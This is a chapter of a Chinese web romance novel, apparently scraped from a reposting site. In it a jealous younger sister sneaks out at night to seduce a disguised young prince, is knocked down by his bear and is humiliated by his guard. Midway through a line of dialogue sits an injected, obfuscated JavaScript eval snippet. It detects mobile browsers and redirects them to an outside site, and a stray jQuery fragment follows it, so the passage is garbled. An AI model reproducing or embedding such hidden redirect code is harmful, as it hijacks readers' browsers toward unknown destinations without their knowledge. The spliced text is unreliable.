32. 第 32 章

作品:《小皇爷总想撩拨我

    柳鸢儿为何会来观澜苑?


    还得从昨夜司徒妄离开若尘苑说起。


    赵琼华与柳鸢儿在晚膳时分对柳芳菲故意针对,柳老爷看得明白,又加之司徒妄有意敲打,他更是心有怒意。


    故而在柳芳菲与司徒妄离开后,自然是对她们母女一再警告。


    ——皇爷选妻在即,你若是有心想要离开黔州,大可做足准备。


    ——从方才用膳情况来看,那位爷对你约莫是没兴趣的,别巴巴儿往上凑,他不是你能肖想的。


    此番点拨,一来是为了打消她们二人对司徒妄身份的猜测;二来让柳鸢儿知进退,别去打观澜苑的注意。


    然而,他显然低估了柳鸢儿的无耻。就在她看出司徒妄对柳芳菲颇为殷勤的时候,心里便涌出了莫名的嫉妒。


    不是皇爷又如何?


    对她没兴趣又如何?


    听说小皇爷喜欢男人,嫁给他定无法享受男女乐趣,而这个男人恰好能够满足她对情事的所有幻想与渴望。


    柳芳菲那个病痨子死瘸子都能让他感兴趣,那她也一定可以。


    她阴恻恻地想:小皇爷,她要嫁;那个男人,也一定会成为她的裙下之臣。


    故而这夜,她将自己打扮得尤为动人,换了身诱人的薄衫裹上大氅,瞒着所有人离开清雅居,冒着风雪摸黑去了观澜苑。


    将柳老爷的警告抛之脑后,独自滚着素舆去了。


    不过,由于前两日膝盖受伤,坐在素舆上皆由丫鬟推着,且从未夜晚出行过。因而这次抵达观澜苑的过程受了不少苦。


    雪粒四处飞溅在身上,素舆也被路边枯枝卡得一顿一顿。


    这也便罢了,终于到达观澜苑,瞧着屋内烛光摇曳正大喜过望时,司徒二从黑暗中跳了出来,将她强行扑到了。


    “吼——”


    小二也并非故意扑人。在清欢苑过了几天好日子,这夜又回到主子身边,入睡本就困难。终是好不容易睡着了,又感受到生人靠近的气息,还有滚轮卡顿的声音,吵得它突然间就暴躁起来。


    于是,柳鸢儿便被这一扑摔得素舆倒在地上,人也四仰八叉的。


    晕了。


    司徒一与荟如听着声儿赶过来时,看到的就是司徒二略微无辜的眼神,还有地上躺着毫无生气的柳鸢儿。


    “二小姐?”


    荟如不可置信,以为她是循着自家小姐跟过来的。


    “她是冲着里头那位来的。”


    那件皮毛氅子之下的轻衫薄若无物。


    荟如见他熟练地将人一把扛起往后厨柴房里走,还抹了一手黑炭将柳鸢儿白皙的脸蛋蹭黑,眼睛都瞪得浑圆。


    司徒一没有炫耀,对于这种夜里爬床勾引小皇爷的事儿,早已司空见惯,不过之前都是一些不要命的男人罢了。


    扛女人,这是头一遭。


    屋外的动静自是惊动了还未入睡的司徒妄,当他披着长袍出去时,柳鸢儿已经被扔进了柴房。


    面无表情地听司徒一将事情汇报完毕,立即奖励了司徒二一顿美餐。


    然后转身回屋歇着了。


    温香软玉在怀,即便心里对那龌龊的柳鸢儿置了几分气,也很快抛之脑后。


    只是司徒一很是可怜,风雪天,大晚上,还要为一头熊做美食。


    分明把人处理掉的是他,是他司徒一。


    小皇爷定是被柳姑娘迷得一二三四都不识得了,他愤愤地想。


    翌日,柳鸢儿从柴房醒来,浑身冰冷僵硬得不像话,膝盖麻木动弹不得,立即大声吼叫起来。


    声音将司徒一吵醒,推开柴房木门看着狼狈至极的柳家二小姐,蓬头垢面,皮毛氅子又脏又灰,脸颊黢黑,瞧不出本来面貌。


    随即勾出一抹得逞的笑,可以动手了。


    “贼人胆子挺大啊,跑观澜苑来偷东西?”他清了清嗓子大声呵斥。


    “不,我没有偷东西。我也不是贼人!”


    柳鸢儿被冻得浑身刺痛,发着颤否认,“我是柳家二小姐柳鸢儿,公子,你见过我的,我不是贼人!”


    “柳家二小姐我自是见过,可跟你这个黑黢黢的丑八怪可不一样!贼人想要找人顶罪也要合乎常理才是!”


    司徒一佯装不知,毫不温柔地将她拖起,“你若执意说你是柳家二小姐,那我现在便将你带到若尘苑让柳老爷认一认,到底是贼人还是二小姐!”


    提及柳老爷,柳鸢儿彻底慌了神,立刻摇头:“不,我不去爹爹那儿,我真不是贼人,真的不是!”


    然而拖着她的司徒一力气太大,无论她如何挣扎反抗都无济于事。


    “你口口声声说你不是贼人,那你来观澜苑作甚!”


    司徒一将人随意一甩,柳鸢儿又被重重砸到地上发出闷哼声。


    除却麻木的膝盖,整个身子疼得发出脆响。


    柳鸢儿支支吾吾坦白:“这位公子,请您相信我,我真是柳家二小姐!昨夜前来不过是为了……为了……”


    “为了何事?”


    自忖良久,她才找到合适的话来解释:“为了你家公子,我只是想要找你家公子有事相询,并无偷窃之意。”


    “淫贼!”


    司徒一一语道破,“原本以为你是盗物,未曾想你深夜前来是为了偷人!”


    柳鸢儿心底大骇,小心思被看透说破,羞极了。


    只不过,在这被蹭了黑炭的脸上,看不出分毫害羞的模样。


    那股娇羞的样子,在司徒一看来,滑稽极了。小皇爷那人胃口极挑,能看上这样的跳梁小丑才怪了。


    片刻柳鸢儿便被拖到了柴房外的院子里,雪地空旷无声,声音自是传到了司徒妄寝屋内。


    吵醒了床上熟睡的柳芳菲。


    “她是冲你来的。”很是肯定的语气。


    “欢欢很了解她嘛。”


    “打小开始,我有什么,无论是不是需要,不管是不是喜欢,她都会伸手要走。以前是我不予计较,日后她想要的,我一样都不会给。”


    除却张微生,是她唯一一个亲自送到自己面前,且极力撮合,不予抢夺的人。


    现在想来,柳鸢儿还是有几分慧眼的,脏东西当然不会要。


    思忖间,她已经半坐起身,任由司徒妄帮她把衣物穿好了。


    “那欢欢可得将我牢牢看好,否则着了奸人的道,你可得哭了。”


    听言,柳芳菲摇头:“我不会哭的,如果你被她勾走,那便不值得我哭。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15503806|165906||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    司徒妄对于这样的反应并不满意,将人一把搂过亲了许久才松开:“欢欢,我不会离开你。”


    绝对不会。


    “要如何处置她?”


    柳芳菲被他置于软榻,炭火点燃,暖意很快袭来。茶案上摆满了点心与清粥,可她却一个劲儿捏着一旁的糖豆吃。


    黔州人嗜辣,可她最近却觉得这糖豆出奇的好吃。


    司徒妄喂她喝米粥,却被她堪堪躲过:“味道太白,不喜。”


    “早上方醒,吃点清淡的养胃。”


    他好生哄着,一勺一勺喂得颇为艰辛。


    若是司徒一瞧见这一幕,估摸着会先扇自己几个大嘴巴子,确认没有做梦后,再将此事快马加鞭传到蒲州城里。


    好让大家都晓得,平日里衣食住行都懒得自理的小皇爷,竟然会有为人奴隶的一天!


    柳鸢儿哭闹的声音还在继续,柳芳菲听着有些烦,撇开嘴又不喝了:“吵。”


    她承认,自己在这个男人面前的确是越来越恃宠而骄。


    开始生气、撒娇、胡闹。


    莫名的,那些隐藏多年小女人的脾气,会在他跟前暴露得一览无余。


    司徒妄见状也不恼,揉揉她散开的发丝,将汤匙轻轻放下,走出了房间。


    沉着脸。


    完了。


    这是司徒一见到小皇爷这副模样的第一反应。


    而柳鸢儿见着他,却如同看到救命稻草那般,拼命挣脱司徒一的束缚,冲他那头扑去了。


    膝盖麻木走不得,只好奋力向前扑去,看着也着实有些心酸。


    “公子,是我啊,我是鸢儿啊!”


    听着声音,司徒妄就瞧见一坨漆黑冲自己这边扑过来,然后侧身躲过。


    “漆黑”被摔在地上,又是一声闷哼。


    要命了。


    司徒一伸手捂眼,不用看也知晓自家主子那张黑透的脸。


    定是如万年寒冰那般,阴狠又凌厉,还冻人。


    “连个女人都制服不了,不如滚回黔州。”


    司徒妄清冷的声音阴恻恻地传来,“既是柳家二小姐,那便送到柳老爷和柳夫人那儿去。”


    柳鸢儿害怕了,不停求饶。


    回应她的只有木门关闭的“嘎吱”声,还有笔挺冷漠的背影。


    “她碰你了?”


    方才的动静极大,柳芳菲自是知晓柳鸢儿朝着他冲过来的事情,面色自然不悦。


    不过她这张脸太美,眼神又总是水汪汪的,生气起来着实没有震慑力,反而有些娇嗔的味道。


    司徒妄不语,重新拿起汤匙喂她喝粥,却被她拂开:“脏。”


    真生气了。


    得哄。


    于是他放下汤匙,点了点她紧蹙的额头笑道:“你觉得,我会让脏东西碰到自己?”


    也不知是哪个字愉悦了柳芳菲,她努努嘴指向甜豆:“这个。”


    这是给自己找了个祖宗。


    司徒妄认命地捏起甜豆喂她,一颗又一颗。


    哄好了,才将一碗米粥喂到她肚子里。


    用过早膳,若尘苑那边也有了动静,司徒妄收拾着带自家姑娘去看“长毛怪大战淫贼”的好戏了。